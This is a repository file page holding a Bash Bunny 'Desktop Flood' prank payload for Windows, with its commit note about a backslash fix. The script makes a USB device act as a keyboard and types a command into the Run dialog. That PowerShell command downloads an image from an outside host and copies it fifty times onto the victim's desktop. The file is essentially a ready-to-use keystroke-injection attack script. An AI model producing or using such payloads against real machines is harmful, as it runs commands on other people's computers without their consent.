Files
bashbunny-payloads/payloads/library/prank/DesktopFlood/payload.txt
JustaProgrammer9 fab1466896 so it actually works (#486)
I foolishly forgot to add a second backslash to $ImageName
2022-01-24 13:28:25 -06:00

47 lines
852 B
Bash

#!/bin/bash
#
# Title: Desktop Flood
# Description: Floods desktop with image it downloads from link
# Author: JustaProgrammer9
# Category: Prank
# Target: Windows
# Attackmodes: HID
#
#--// CONFIG \\--#
#removing [ https:// ] can help keep command below runbox character limit
ImageLink='i.ytimg.com/vi/7yN0g2QIJSU/maxresdefault.jpg'
ImageName="Gift"
Amount=50
####--// SETUP \\--####
LED W
ATTACKMODE HID
#--> FOR BLUETOOTH <--#
#WAIT_FOR_PRESENT YourDevice
#WAIT_FOR_NOT_PRESENT YourDevice
#--// ATTACK \\--#
LED Y
RUN WIN "cmd /c powershell \"curl $ImageLink -O C:\Users\%USERNAME%\Desktop\\$ImageName.jpg;sleep 1;1..$Amount | % { copy-Item \"C:\Users\%USERNAME%\desktop\\$ImageName.jpg\" \"C:\Users\%USERNAME%\desktop\\$ImageName\$_.jpg\"}\""
Q ENTER
####--// DONE \\--####
LED G